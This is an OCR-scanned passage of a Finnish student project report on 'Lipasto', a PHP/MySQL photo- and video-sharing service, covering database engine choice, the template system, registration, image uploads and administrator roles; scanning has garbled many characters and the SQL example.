// Tulostaa tamé&n -> !retsaocrellor ekil dnuora gninruT

echo $flipped;

>

Kuva 5: Esimerkki yleisimmistd dokumentointitageista joita kdytimme

16
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3 Projektin toteuttaminen

3.1 Tietokanta

3.1.1 Tietokannan suunnittelu ja l1dhdekoodin generointi

Tietokanta suunniteltiin Toad Data Modeler-ohjelmalla, jolla tietokannasta saatiin
helppolukuinen ja selked tietokantakuvaus (Liite 3). Tietokantaan piirrettiin taulut ja
kentdt ja jokaiselle kentille médriteltiin tiedon tyyppi, tiedon pituus (paitsi
kokonaisluku- ja datetime-tyyppisille tiedoille) sekéd pakollisuus / ei-pakollisuus-tieto.
Liséksi jokaiselle taululle méériteltiin pddavain. Moneen tauluun on myds mééritelty
auto_increment-arvo péadavaimelle, joka tarkoittaa sitd, ettd tuo arvo nousee
automaattisesti yhdelld aina kun tauluun lisdtdén uusi rivi. Télldin jokaisella taulun
rivilld on uniikki juokseva tunnusluku, jonka perusteella ne pystytddn yksiloiméan. Kun
taulut saatiin piirrettyd niin edelldmainitulla ohjelmalla pystyttiin myods generoimaan
SQL-lauseet, jolla tietokannan taulut on helppo luoda MySQL-jérjestelmain. Kuvassa 6

on esimerkki Toad Data Modelerin generoimasta SQL-koodista.

Create tabhle bulletin board msg |

may_id Int HOT WULL LUTO INCREMENT,

owner id Int HOT HULL,

community id Int HOT HULL,

name Warchar (100) HOT HULL,

added Datetime HOT HULL DEFAULT '0O000-00-00 O0:00:00°',

message Longtext HOT HULL,

UHIQUE (m=g_ id),
Primary Key (m=sg id),
Foreign EKey (community id) references community (community id) on dele
Foreign Key (owner id] references user [(user id) on delete restrict o
] ENGINE = InnoDE:

Kuva 6: Esimerkki Toad Data Managerin generoimasta SQL-koodista
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3.1.2 Tietokantamoottorien erot

MySQL:n mukana tulee asennusvaiheessa tuki seitsemélle tietokantamoottorille, jotka
on alustavasti konfiguroitu, jotta niiden kayttoonotto olisi mahdollisimman helppoa.
Téssd kappaleessa késittelemme syvemmin eroja MyISAM:n ja InnoDB:n vililld, muut
viisi tietokantamoottoria eivit tietyistd syistd sovellu tdhdn projektiin. Seuraavassa on

listattu poisjddaneet moottorit ja syyt poisjattaimiseen (Peters 2008):

o Example: Example on tyhjd tietokantamoottoripohja, johon kayttdja voi
halutessaan rakentaa oman tietokantamoottorinsa. Me halusimme kuitenkin
valmiin moottorin, eikd kummallakaan meistd ollut kokemusta oman

tietokantamoottorin rakentamisesta.

e HEAP: HEAP tallentaa tictonsa vain keskusmuistiin, eli varsinaiselle
kovalevylle ei tallenneta mitdan. HEAP on erittdin hyva ratkaisu véliaikaisille

tauluille, mutta ei muille koska kaikki tieto hdavida kun kone sammutetaan.

e Archive: Archivea suositellaan  kéytettdvdksi  suurten tietomddrien
tallennukseen, mutta sen huono puoli on se, ettd se ei tue ollenkaan indeksejé.
Lipastossa kdytetddn tietyissd tauluissa indeksejd ja Archive oli ennestdéin

tuntematon meille, joten emme valinneet siti.

e Merge: Mergeen lisdtdén useita MyISAM-tauluja jotka liittyvdt toisiinsa ja

niistd generoidaan yksi ndkyma.

o NDB: NDB on klusteroitu tietokantamoottori, eli tietokannan siséltd jaetaan ja
kopioidaan automaattisesti useille koneille. NDB:n avulla saavutetaan paras
mahdollinen tiedon saatavuus. Lipastoa ldhdettiin kuitenkin tekemdin vain
yhdelle palvelimelle, joten NDB:n kaltainen ratkaisu tuntui hieman liioitellulta,
kalliilta ja vaikeasti konfiguroitavalta (koska kummallakaan ei ollut aikaisempaa

kokemusta NDB:st).

Edelld mainittujen tietokantamoottorien lisdksi MySQL:48n on myds tulossa uusi

tuttavuus, joka kulkee nimelld Falcon. Kun Falconia on testattu samoilla testeilld kuin
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InnoDB:a ja MyISAM:a, niin Falcon on ollut joissakin testitilanteissa parempi kuin
InnoDB tai MyISAM (Tkachenko 2007). Falconin toinen suuri etu on kidyton helppous,
silld se vaatii erittdin vahén ylldpitoa ja se on suunniteltu siten, ettd se osaa uudelleen
konfiguroida itsensé erilaisia kuormitustilanteita varten (Wikipedia 2008d). Falcon voi
siis tulevaisuudessa olla erittdin varteenotettava haastaja InnoDB:lle ja MyISAM:lle.
Téasséd projektissa emme voi vield kiyttdd Falconia, koska se on vasta alpha-vaiheessa
eikd sitd ole virallisesti julkaistu, joten se ei todennikoisesti ole vield tdysin vakaa.
Lisdksi Falconin alpha-versiosta puuttuu vield tuki MySQL:n LIMIT-komennolle, jota

Lipastossa tullaan tarvitsemaan.

MyISAM:lla ja InnoDB:lla on useita merkittdvid eroja, joista tirkeimpind voidaan
listata viiteavaimet, tietojen lukitsemistapa ja tapa palautua yllattavistd kaatumisista.
MyISAM ei tue ollenkaan viiteavaimia, eli jos tauluihin sellaisia halutaan, niin InnoDB
on ainoa vaihtoehto nédistd kahdesta. Toinen merkittivad ero on tietojen lukitseminen
tiedon muuttamisen tai poistamisen ajaksi. MySQL:ssd kéytetddn kolmea eri tapaa
lukita tietoja, jotka ovat taulun lukitseminen (table-level locking), sivun lukitseminen
(page-level locking) ja rivin lukitseminen (row-level locking). MyISAM kayttdd taulun
lukitsemista ja InnoDB rivin lukitsemista. Rivien lukitsemisen etuna muihin
lukitustapoihin ndhden on se, ettd lukitus-konflikteja tulee vdhemmain, koska eri
prosessit voivat samanaikaisesti hakea samasta taulusta tietoa eri riveiltd. Jos lukittaisiin

koko taulu, niin vain yksi prosessi voisi hakea tietoja kerrallaan.

Toinen etu on se, ettd jos suoritetaan rollback (eli tietoja palautetaan aikaisempaan
tilaan), niin rivi-tason lukituksella muutoksia pitdd tehdd vihemmén. Kolmantena etuna
on se, ettd yksittdinen rivi voidaan lukita pitkdksi aikaa. Rivi-tason lukituksella on myos
varjopuolia, silld se vaatii enemmén muistia kuin taulu-tason ja sivu-tason lukitukset. Se
on myds hitaampi, jos haetaan suurta osaa taulun tiedoista. Esimerkiksi jos taulussa on
1000 rivid ja niistd haetaan 990, tilldin joudutaan asettamaan 990 lukitusta, kun
vastaavasti MyISAM:lla jouduttaisiin asettamaan vain yksi lukitus (eli lukittaisiin koko

taulu) (MySQL Developer documentation 2008).
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Kolmas suuri ero MyISAM:n ja InnoDB:n vililld on tapa palautua ylléttavistd
kaatumisista. InnoDB palautuu kaatumisista ajamalla loki-tiedostonsa uudelleen, kun
taas MyISAM joutuu tutkimaan koko jérjestelménsd ja korjaamaan tai rakentamaan
uudelleen kaikki indeksit tai taulut jotka ovat pdivittyneet, mutta jotka eivit valttamétta
kokonaisuudessaan tallentuneet levylle. Tdmén seurauksena InnoDB:n palautumisaika
on aina ldhes sama, oli kannassa sitten 10 tai 100000 rivid, kun vastaavasti MyISAM:n
palautumisaika kasvaa sitdi mukaa kun taulun koko kasvaa. InnoDB siis tarjoaa
paremman luotettavuuden ja saatavuuden tietokannan koon kasvaessa (Wikipedia

2008a).

On kuitenkin tirkedd huomata, etté tietyn tietokantamoottorin valinta ei suoraan vaikuta
koko tietokantaan, vaan eri tauluilla voi olla eri moottorit, vaikka ne olisivatkin samassa
tietokannassa. Tietokantamoottorin valinta onkin tdrkedd tehdd sen mukaan, millaista
tietoa tauluun tallennetaan ja miten kiyttdjat tulevat kiyttdmdin kyseisid tietoja.

(Dreamhost 2005)

3.1.3 Tietokantamoottorit Lipastossa

Alun perin teimme kaikki taulut MyISAM-tyyppisiksi, eikd niihin tehty ollenkaan
viiteavaimia, joten uuden Lipaston ensimméisessd versiossa tietokantamme ei vield
ollut relaatiotietokanta. Syyna viiteavaimien ja relaatioiden pois jittdmiseen oli se, ettd
molemmat olivat ennen titd projektia tottuneet tekeméiédn eheys-tarkistukset vasta
koodissa. Projektin edetessd péddtimme kuitenkin tehdd suurehkoja muutoksia
tietokantaan ja muutimme samalla kaikki taulut MyISAM-tyyppisestd InnoDB-
tyyppisiksi. Samalla tietokannasta poistettiin muutamia turhiksi osoittautuneita kenttid
ja joidenkin taulujen rakenteita yhdisteltiin keskenddn, koska ndin pystyttiin
vihentiméédn taulujen médrdd ja siten myos tarvittavan koodin méérdd. Varsinainen
siirtyminen ~ MyISAM-tyypistd  InnoDB-tyyppiin  tapahtui  helposti,  silld
kiyttiméssimme tietokannan suunnitteluohjelmassa (Toad Data Modeler) voi valita
oletuksena kédytettdvén taulutyypin, johon piti vain vaihtaa InnoDB. Témén jilkeen
Toadilla generoituihin sql-tiedostoihin tulee automaattisesti tietokantamoottoriksi

InnoDB.
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Lipastossa kaytetddn InnoDB:a jokaisessa taulussa, koska kaikki taulut ovat
viiteavaimien kautta jotenkin sidoksissa toisiinsa. Vaikka Lipastossa olisikin jokin
taulu, joka ei olisi mitenkdén sidoksissa toisiin tauluihin, niin silti olisi jarkevai laittaa
taulun moottoriksi InnoDB MyISAM:n sijaan. Syyna tdhdn on se, ettd kun jirjestelmédn
tehdéddn lisdyksid ja pdivityksid saattaa tulla eteen tilanne, jossa tuo kyseinen taulu

pitddkin liittdd viiteavaimilla johonkin uuteen tauluun.

3.2 Template-jérjestelma

3.2.1 Template-jarjestelma yleisesti

Template-jarjestelmén tehtdvind on erottaa jirjestelmédn toimintalogiikka ja tiedon
esittdminen toisistaan. Erottamalla nuo osat toisistaan erillisiin tiedostoihin voidaan
mahdollistaa se, ettdi PHP:std mitddn tietdiméton henkild, joka kuitenkin hallitsee
HTML:n, pystyy péivittdmién sivuston ulkoasua (eli HTML-koodia) ilman, ettd hin
joutuu kisittelemdéin PHP-koodia. Template-jirjestelméssd on siis erikseen tiedostoja,
jotka siséltdvdat ulkoasun koodit ja sivun siséllon ndyttdimiseen tarvittavat
toimintalogiikat ja kun sivu ladataan, niin ndméd sivutiedostot siséllytetdén sivuille

oikeassa jérjestyksessd, jolloin pystytdin ndyttimiin toimiva sivu.

3.2.2 Template-jarjestelmin rakenne ja toiminta Lipastossa

Lipaston template-jérjestelmén pohjana kaytetddn Massassi.comissa julkaistua artikkelia
(Lozier 2006). Aktiviteettikaavio sivujen luonnista template-jarjestelmadlld 16ytyy
liitteestd 6. Tdssd kappaleessa kuvataan Lipastossa kdytettdvdan template-jarjestelman
pddominaisuudet ja toimintatavat kdyttden esimerkkinid Galleria-sivua, jonka osoite on
[jarjestelmin juurihakemisto]/communities/[ Lokeron tunnus-
ID]/www/index.php?page=gallery. Téssd esimerkissd kéytetddn siis sivua, jonka

ndyttiminen  vaatii  jirjestelmddn  sisddnkirjautumisen.  Sisddnkirjautumisen
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toimintalogiikkaa ei kidydd lapi tdssd, vaan tdméd esimerkki olettaa kéyttdjan jo

kirjautuneen sisdin.

Varsinaisella index.php-sivulla on vain yksi rivi koodia, jossa haetaan sivun
ndyttdmiseen tarvittavat tiedot toisesta tiedostosta, joka sijaitsee jarjestelmian www-
juuren yldpuolella. Tdméd tehdddn siksi, ettd jokaisen Lokeron kansiossa on oma
index.php-tiedosto Kun Lokeroita tulevaisuudessa on useita, niin jos index.php-
tiedostoon halutaan tehdd muutoksia, niin tdlld tekniikalla ne taytyy tehdd vain yhteen

tiedostoon, eikd tarvitse paivittdd jokaisen Lokeron tiedostoa erikseen.

Varsinaisella etusivu-tiedostolla haetaan ensin mydskin jérjestelmdn www-juuren
yldpuolella sijaitseva configure.php-tiedosto, jossa maédritellddn kaikki jérjestelmin
toiminnan kannalta olennaiset asetukset. Tiedosto sijaitsee varsinaisen www-juuren
ylapuolella, koska tdlldin sithen ei ole pddsyd suoraan selaimella vaan sitd voidaan
kayttdd vain koodissa. Configure.php-tiedostoon sisdllytetdén aluksi kaksi muuta
tiedostoa, joista ensimmdiinen sisdltdd jarjestelmidn polun tiedostojirjestelméssa,
osoitteen jarjestelmidn juureen selaimella kéytettdessd sekd MySQL-tietokannan
kayttoon tarvittavat tietokannan tyypin, tietokannan osoitteen, kayttdjatunnuksen,
salasanan sekd tietokannan nimen. Toinen configure.php:hen siséllytettiva tiedosto
sisdltdd video-tiedostojen asetukset sekéd sivuilla kdytettdvien tooltip-apuikkunoiden
rakenteen koodin. Ndmé kaksi asetustiedostoa on eriytetty, koska ensimmaéisen
tiedoston vakiot muuttuvat ohjelmoijakohtaisesti, mutta toisen tiedoston vakiot ovat

samoja molemmille projektin ohjelmoijille.

Tiedostojen sisdllytyksen jilkeen sivuille sisdllytetdéin kaikki functions-kansiosta
loytyvdt funktio-tiedostot sekd classes-kansiosta 18ytyvét luokka-tiedostot. Tamén
jilkeen luodaan vield yhteys tietokantaan, haetaan kayttdjan kieli ja siséllytetddn
kyseisen kielen kielitiedosto. Jos kdyttdjan kieltd ei ole asetettu, niin oletuskielend on

suomi.
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Edelldmainittujen toimenpiteiden jédlkeen sivulla varmistetaan ensin, etti kayttdja
kuuluu Lokeroon, jonka tietoja yritetdéin hakea. Jos kéyttdja ei kuulu Lokeroon, niin
hidnet ohjataan jéirjestelmén etusivulle, joka on siis sivu josta saa lisétietoja
jarjestelméstd ja jossa voi myds kirjautua sisddn. Tuon tarkistuksen jidlkeen tehdddn
$bdy-niminen olio, joka on Template-luokan ilmentymi. Tédmédn jilkeen katsotaan,
onko page-parametria annettu sivulle johtaneeseen URL-osoitteeseen ja jos page-
parametri on tyhjd tai sitd ei ole ollenkaan asetettu, niin néytetddn etusivu. Tdmi

esimerkki kuvaa Galleria-sivua, joka niytetién jos parametriksi on annettu “gallery”.

Kun sivua ldhdetdédn tulostamaan, niin ensin haetaan navigaation siséllot $navigation-
muuttujaan, jonka rakentaminen tapahtuu buildNavigation()-funktiossa. Navigaation
siséltdjen hakemisen jdlkeen ne asetetaan templateen niille varattuun paikkaan, eli
navigation-nimiseen template-muuttujaan. Seuraavaksi kaikki Galleria-sivun kolme
siséltdosaa eli kansiot, kuva-valikko ja kuvan tiedot-ruutu haetaan omista tiedostoistaan
ja asetetaan $folders-, $slider- ja $image data-muuttujiin. Tédmén jilkeen nekin
asetetaan omille paikoilleen template-muuttujiin, samalla tavalla kuin navigaatiokin.
Lopuksi haetaan varsinainen template-tiedosto, mikéd siséltdd sivun rungon johon nuo
edelldmainitut template-muuttujat asettuvat omille paikoilleen. Tuo template-tiedosto
siséltdd 1&dhes pelkdstddn tavallista HTML-koodia, ainoat PHP-koodit siind ovat noiden
template-osion tulostukset. Téssé siis saavutetaan se hyodty, joka mainittiin edellisessd
kappaleessa template-jarjestelmien eduksi, eli PHP:sta mitddn ymmartdmaton henkild,
joka kuitenkin hallitsee HTML:n, voi piivittdd sivun ulkoasua muokkaamalla tuota

template-tiedostoa ilman, ettd hdnen tarvitsee vilittdd noiden template-osien sisalldista.

3.3 Lipaston etusivu ja Lokero-kohtaiset alasivut

3.3.1 Etusivu ja sen ei-Lokero-kohtaiset alasivut

Kéyttdjan saavuttua Lipastoon hdnet voidaan luokitella joko kokonaan uudeksi
kayttdjaksi, uudeksi kutsutuksi kayttéjéksi (jonka siis joku toinen Lipaston kéyttdja on

kutsunut Lokeroonsa) tai jo rekisterdityneeksi kdyttdjaksi (aktviteettikaavio kéyttdjén
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toiminnoista etusivulla liitteessd 4). Etusivu on suunniteltu kaikkien edelld mainittujen
tarpeita silmélld pitden. Kuvakaappaus etusivusta on esitetty liitteessd 11. Uudet
kayttdjat voivat tutustua sivustoon lyhyen esittelytekstin avulla. Esittelytekstid seuraa
linkki laajempaan palvelun kuvaukseen. Uusia kéyttdjid varten on myo0s
rekisterdintilomake ja jo rekisterdityneet kéyttdjdt voivat kirjautua siséddn sitd varten
tarkoitetulla lomakkeella. Lipastoon kutsuttuja kéyttdjid kehoitetaan rekisteroitymiin
ennen kuin he pddsevdt tutustumaan Lokeroon, johon heidit on kutsuttu.
Rekisteréityminen on siis pakollista, eli ilman sitd kutsuttu kéyttdja ei péadse

tutustumaan Lokeroon.

Laajempi palvelunkuvaus on etusivun alasivu, johon on péésy kaikilla kéyttdjilla ja
hakukoneilla. Sivulla esitellddn Lipaston idea, sekd sen keskeisimmat toiminnallisuudet.
Toiminnallisuuksien hahmottamisen helpottamiseksi sivulle on lisdtty kuvakaappauksia
itse palvelusta. Palvelunkuvauksen pédtteeksi sivun selaajaa kehoitetaan palaamaan

etusivulle rekisteréityméién, tai kirjautumaan siséén jos on jo rekisterditynyt kayttéja.

Uudet kéyttdjat voivat rekisterdityd Lipaston kayttdjiksi kolme kohtaa siséltdvin
lomakkeen avulla. Lomake sisédltdd kéyttdjin sédhkopostikentin joka toimii
kayttdjatunnuksena, salasanan, sekd salasanan varmistuskentdn. Séhkopostiosoitteen
oikeellisuus ja salasanojen identtisyys tarkistetaan ennen kuin rekisterdityminen etenee.
Jos kayttdjan syottamat tiedot tayttdvit vaatimukset, niin tarkistetaan tietokannasta, ettei
sdhkopostiosoite ole jo kéiytossd. Jos sama sdhkopostiosoite 16ydetdédn tietokannasta,
rekisterdityminen keskeytetdén ja kdyttdjdlle ilmoitetaan, ettd kyseinen tunnus on jo
rekisterdity. Kéaytdnnossd tdmé tarkoittaa sitd, ettd kayttdjd on joko unohtanut
rekisterditymisensd, kirjoittanut vddrin sdhkopostinsa tai keksinyt sen. Kéyttdjien
syotteiden tarkistusten jélkeen luodaan uusi kéyttdjd tietokantaan, jonka jdlkeen kéyttdja
pddsee luomaan omaa Lokeroa. Poikkeuksena edelliseen on kuitenkin kutsun saanut
kayttdja, joka ohjataan kutsuttuun Lokeroon onnistuneen rekisterditymisen jilkeen.
Lokeron luomisessa kéyttdja syottdd Lokerolle nimen, jonka jédlkeen luotu Lokero tulee
toimimaan  kéyttdjin  oletus-Lokeroa, johon  kéyttdjd  ohjataan  suoraan

sisddnkirjautumisen jilkeen.
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Lipaston rekisterdityneet kéyttdjit kirjautuvat sisdén etusivulta 16ytyvilld lomakkeella.
Lomakkeeseen sydtetddn kayttdjatunnuksena toimiva sdhkopostiosoite sekd salasana,
jotka sitten autentikoidaan tietokantaa vasten. Ennen tietokantakyselyd varmistetaan
kuitenkin, ettd lomake sisdltdd vaadittavat tiedot. Jos SQL-kysely ei palauta yhti rivia,
ohjataan kéyttdjd takaisin etusivulle ja ilmoitetaan kiyttéjélle, ettd kéyttdjatunnus-
salasana-pari on virheellinen. Jos kysely palauttaa yhden rivin tietokannasta,
autentikointi on onnistunut, jolloin kéyttdja ohjataan hinen asettamaansa oletus-

Lokeroon.

3.3.2 Lokeron etusivu

Lokeron etusivu (kuvakaappaus liitteessd 12) on sijoitettu kansioon ’[jérjestelmén
juurihakemisto]/communities/[ Lokeron id]/www/”. Etusivun alussa autentikoidaan

kayttdja kyseisen Lokeron kayttéjéksi ja estetdéin pddsy Lokeroon kuulumattomilta.

Lokeron etusivulla on kaksi erillistd navigointipalkkia, selaimen leveyden ja sisdllon
méadrdn mukaan skaalautuva sisdltdosa, sekd oikean laidan sivulaatikot. Ensimméinen
navigointipalkki sisdltdd linkit keskeisimpiin toimintoihin: Etusivu, Galleria, Lataa
tiedosto, Jésenet ja Videot. Toinen sivun oikeaan yléreunaan sijoitettu navigointipalkki
sisdltdd alasvetovalikon jolla voidaan vaihtaa Lokeroa, Asetukset-linkin, sekd

Uloskirjautumis-painikkeen.

Lokeron etusivun sisdltdosassa on kolme keskeistd aihealuetta. Tervetuloa-osio
toivottaa vierailijan tervetulleeksi informoiden kayttdjad hénen viime vierailunsa
ajankohdasta, sekd muutoksista joita Lokerossa on tapahtunut sen jélkeen.
Informoitavien —muutosten piiriin  kuuluvat uudet jisenet, uudet viestit

keskustelupalstalla, uudet kuvat tai videot, seki uudet kommentit kuvissa ja videoissa.

Lokeroon kutsutut kiyttdjét-osio néyttdd Lokeron uudet kayttdjéit, kutsutut kayttéjat,
sekd kutsun ldhetystd odottavat kayttdjat. Kutsun ldhetystd odottavat kayttdjat ovat
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Lokeron jdsenen esittdmid kutsuja, jotka vaativat kuitenkin Lokeron ylldpitdjén

hyvéaksynnéan.

Keskustelupalsta-osio on vuorovaikutteinen “ilmoitustaulu”, johon Lokeron kayttdjit
voivat kirjoittaa viestejd ja kommentoida niitd. Viestin tai kommentin liséksi niytetdén
kirjoittaja, ldhettdmisaika, sekd kirjoituksen otsikko. Profiloimme keskustelupalstan
edelld mainitusti ilmoitustauluksi”, koska emme pyri luomaan chattia kayttdjille.
Pikaviestintdd varten useilla ihmisilldi on jokapdivdisessd kéytOssd sitd varten
suunnitellut ohjelmat kuten MSN Messenger (ja muut vastavat pikaviestiohjelmat) tai

IRC-ohjelmat. Esimerkki keskustelupalstan mahdollisesta viestista:

”Olen muuttanut uuteen osoitteeseen Katukuusi 6, Salo. Jdrjestin tuparit kuun
viimisend viikonloppuna. Varatkaa 29. pdivd vapaaksi! Ldhetin kutsut ja lisdinfoa

ldhempdnd ajankohtaa. Party party!”

3.3.3 QGalleria

Galleria on Lipaston keskeisin sivu. Galleriassa kdyttdja padsee selaamaan Lokeroon
ladattua kuva- ja videomateriaalia. Sivu on jaettu kolmeen sisdltokokonaisuuteen, jotka
on sijoitettu vertikaalisesti toistensa péélle skaalautuen maksimileveyteen sisaltoosiossa.

Kuvakaappaus Galleria-sivusta liitteessd 13.

Ylimpdnd on kansioselain, jonka avulla kdyttdjd voi navigoida kansioihin. Kansio on
kayttdjain luoma kuvitteellinen hakemisto, jonka avulla kuvat voidaan jérjestelld
loogisiin ryhmiin. Jokainen kansio on nimetty kéyttdjan toimesta. Liséksi kansiolla on
ikoni, joka symboloi onko kyseinen kansio aktiivinen, eli “auki”, tai vaihtoehtoisesti

7kiinni”.

Kansioselaimen alapuolella on tiedostoselain. Tiedostoselain on JavaScriptilld toteutettu
horisontaalinen kuvavalikko, niin kutsuttu ”slideri”. Tiedostoselaimen kuvat ovat
pienennettyja esikatselukuvia, jotka muodostavat vaakatasossa rullattavan kuvajonon.

Kuvajonoa voi rullata molemmissa péissd olevilla nuolilla viemélld hiiren osoitin
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nuolen péidlle. Klikkaamalla esikatselukuvaa aukeaa valittu kuva suurempana

alapuolella olevaan kuvaosioon.

Kuvaosio on tarkoitettu kuvan tarkempaan selaamiseen, sekd lisdinformaation
saamiseen. Suuremman kuvan lisdksi kéyttdjd nikee kuvan nimen, lataajan, latausajan,
koon, sekd kuvan selitetekstin. Seliteteksti on kuvan lataamisen yhteydessd syotetty

teksti, jonka tarkoitus on tarjota lisdiinformaatiota kuvasta. Esimerkki selitetekstista:

”Kuva on otettu kesdlld 2006 reilaus reissulta Prahan kappelista. Upea kaupunki.

Edullinen ja viihtyisd. Historian havinaa.”

Kuvan lataaja ja muut Lokeron kéyttdjit voivat myds kommentoida kuvia ja videoita.
Kayttdja voi jattdd kommenttinsa kuvan vierestd 16ytyvin lomakkeen avulla, sekd selata
jo jatettyjad kommentteja kuvan alta. Kayttdjad voi katsella kuvaa maksimikoossaan
klikkaamalla kuvaa. Maksimikokoinen kuva aukee Slimbox-nimisen JavaScript-

kirjaston avulla selaimen “’péille”. Slimboxista kerromme lisdé kappaleessa 3.6.5.

3.3.4 Lataa tiedosto

Jokainen Lokeroon kuuluva kiyttdja voi lisdtd Lokeroon kuvia ja videoita. Kuvien ja
videoiden lisddminen tapahtuu Lataa tiedosto-sivulla (kuvakaappaus liitteessd 14), jolle
tultacssa tarkistetaan ensin, ettd Lokeroon on luotu vdhintddn yksi tiedostokansio.
Tiedostokansion tarkoituksena on helpottaa kuvien ja videoiden selaamista, eli kaikki
tiedostot eivdt ole samalla sivulla vaan ne on jaoteltu aihepiireittdin. Lokerossa voisi
olla esimerkiksi seuraavat kansiot: “Juhannus 20077, Ristidiset 13.07.2007” ja
“Ruisrock -07”, jolloin kuvista on helppo valita ndytettavdksi vain tietyn aihepiirin
kuvat. Jos Lokeroon ei ole luotu yhtéén tiedostokansiota, niin ennen kuvan lataamista
kayttdja pakotetaan luomaan uusi kansio, johon kuvia voi sitten lisdti. Jokaisen kuvan
on siis pakko kuulua johonkin kansioon ja toisaalta jokainen kuva voi kuulua vain
yhteen kansioon (ainakin alkuvaiheessa, tulevaisuudessa saattaisi olla hyvé ettd tietty
kuva voisi kuulua esimerkiksi kansioihin ”Juhannus 2007” ja ”Kesdlomareissu Norjaan

05/2007 — 07/2007”). Kun kiyttdja on luonut ensimmadisen kansion tai jos Lokeroon oli
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jo ennestdéin luotuna kansioita, niin kéyttdjédlle néytetdén sivu, jossa kysytddn kansio
johon kuva sijoitetaan, kuvan sijainti kiyttdjan koneella sekd kuvan kuvaus. Kuvaus on
vapaaehtoinen, eli tiedoston tallennus onnistuu ilman sitdkin. Jos Lokerossa on
olemassa kansioita, mutta kiyttdjd ei halua lisdtd kuvaa mihinkd4n olemassa olevaan
kansioon niin kayttdja voi klikata “Klikkaa tidhén luodaksesi uuden kansion”-linkkid,
jolloin kéyttdjidlle ndytetddn sama uuden kansion luomissivu kuin silloinkin jos
Lokeroon ei ole tehty yhtddn kansiota. Kun uusi kansio on luotu, selain ohjautuu
takaisin kuvan lisddmissivulle, johon on nyt valittu oletuskansioksi kansio, joka juuri
luotiin. Kéyttdjén tallennettua kuvan jarjestelmé tekee kopioita kuvasta sekd muutamia
tarkistuksia, ndistd lisdd kappaleessa 3.4 sekd liitteessd 7 (aktiviteettikaavio kuvan

tallentamisesta).

3.4 Kayttdjien kuvat ja lataamisen yhteydessé tehtévit toimenpiteet

Kun kayttdja on syottinyt kuvan lisdédmiseen tarvittavat tiedot ja painanut “Lataa kuva”-
nappia, niin ensin tarkistetaan ettd kuvan polku-kenttddn on haettu kuva. Jos kuvaa ei
ole annettu ollenkaan, asetetaan virheviesti sessio-muuttujaan ja ohjataan kayttdja
takaisin tiedoston lataamis-sivulle, jossa ndytetddn ilmoitus, ettd kdyttdjan pitdd valita
kuva. Jos kuva on ladattu onnistuneesti, $file-muuttujaan tehdddn kopio pic upload-
luokasta, ja tdmén jélkeen generoidaan uniikki hash-sekoite sha256-algoritmilla, ja
merkkijono, josta hash-sekoite generoidaan on “tiedoston nimi’+’kellonaika”. Tuo
kellonaika on Unix Timestamp-muodossa, eli siind on sekuntien miird tammikuun
ensimmadisestd péivistd vuonna 1970 kello 00:00:00 (GMT-aikavydhykkeen aikaa)
alkaen. Niin kutsuttujen yhteentérmaysten (collision) vélttimiseksi hash-sekoitteen
generoimisen jidlkeen varmistetaan, ettd kyseistd hash-sekoitetta ei ole jo annettu
jollekin toiselle kuvalle. Hash-sekoitetta generoitaessa varmistetaan myds, ettd annetun
tiedoston tiedostopédte on oikeanlainen, sallitut formaatit ovat JPG, JPEG, PNG ja GIF.
Jos kuvan formaatti havaitaan viairdksi, ei hash-sekoitetta generoida, vaan kayttdja

ohjataan takaisin kuvan lataussivulle, jossa ndytetdén virheilmoitus.

Kuvan nimen luomisen ja tarkistamisen jélkeen kuvasta luodaan 3 eri kokoista versiota,

joista kaksi ensimmadistd ovat saman nidkoisid kuin alkuperdinen kuva, mutta eri
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kokoisina, ja kolmas kuva on esikatselukuva, johon haetaan pieni pala alkuperiisestd
kuvasta. Tétd pienintd leikattua kuvaa kéytetdén sivun oikean laidan laatikoissa ja
Galleria-sivun kuva-valikossa. Keskikokoista kuvaa kiytetddn Galleria-sivulla
valittuna kuvana, eli kuvana, jonka vieressd nédkyvdt kuvan tiedot ja alla kuvan
kommentit. Suurin generoitu kuva tarvitaan, kun kéyttdjd painaa Galleria-sivulla
valittua kuvaa, jolloin aukeaa ldpindkyvd Slimbox-kirjastolla generoitava taso sivun
paille, jossa kuvaa voi tarkastella suurena. Kuvien luomisen jidlkeen poistetaan
véliaikainen kuvatiedosto palvelimelta ja ilmoitetaan kayttéjélle, ettd kuvan tallennus

onnistui.

3.5 Lokeroiden hallinnointitoiminnot

3.5.1 Hallinnointitasot Lipastossa

Lipastossa kéytetddn useita eri hallinnointitasoja, joiden avulla kdyttdjille annetaan eri
tasojen oikeuksia tiettyjen Lokeron osien hallintaan. Kaikkein korkein status
yksittéisessd Lokerossa on Lokeron omistajalla, jolla on oikeus muokata ja poistaa
kuvia ja videoita, niiden kommentteja, niiden kansioita seké tietysti poistaa ja kutsua
kayttdjid. Lisdksi Lokeron omistaja on ainoa kéyttdji Lokerossa, joka pystyy
halutessaan poistamaan koko Lokeron. Lokeron omistaja on ainoa, joka pystyy
poistamaan ylldpitdja-statuksen toiselta Lokeron ylldpitdjaltd. Itseltddn Lokeron
omistaja ei kuitenkaan voi ottaa yllapitéjé-statusta pois niin kauan kuin hén on Lokeron
omistaja. Toisin sanoen Lokeron omistaja on aina myds ylldpitdja. Lokeron omistaja voi
halutessaan siirtdd Lokeron omistajuuden toiselle kéyttdjélle, jolloin uudesta omistajasta
tulee automaattisesti yllépitdjd, jos hén ei jo ollut sellainen ja vanhalla omistajalla sdilyy
yllapitdjé-status niin kauan, kunnes se otetaan héneltd pois. Yhdessd Lokerossa voi olla
vain yksi omistaja kerrallaan, ja yksi henkild voi toimia samanaikaisesti useamman

Lokeron omistajana.

Seuraavalla tasolla Lokeron omistajan alapuolella ovat niin kutsutut Lokeron yllépitéjat,

joita voidaan myds nimittdd lisdd. Kun uusi Lokero luodaan, vain Lokeron omistaja voi
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nimittdd uuden ylldpitdjan koska kenelldkddn muulla ei vield ole tdhdn tarvittavia
oikeuksia, mutta myShemmin my6s muut yllépitdjat voivat nimittdd uusia yllépitd;jia.
Yllépitdjilld on tdysin samat oikeudet kuin Lokeron omistajalla, mutta ylldpitajat eivit
voi poistaa Lokeroa. Lisédksi ylldpitdjat eivdt pysty poistamaan toiselta ylldpitéjaltd

ylldpitdja-statusta, ainoastaan Lokeron omistaja pystyy tdhén.

Lokeron ylldpitdjien lisdksi my0s jokaisella galleria-objektilla (joita ovat kuvat, videot,
kuvien ja videoiden kansiot, sekd kommentit) on oma omistajansa, eli henkil6 joka on
luonut kyseisen objektin. Kyseinen henkild pystyy muuttamaan objektin tietoja ja
kuvausta ja halutessaan my0s poistamaan objektin. Jos poistettava objekti on kansio,
jossa on kuvia ja/tai videoita niin kuvien ja videoiden omistajien pitdd ensin poistaa
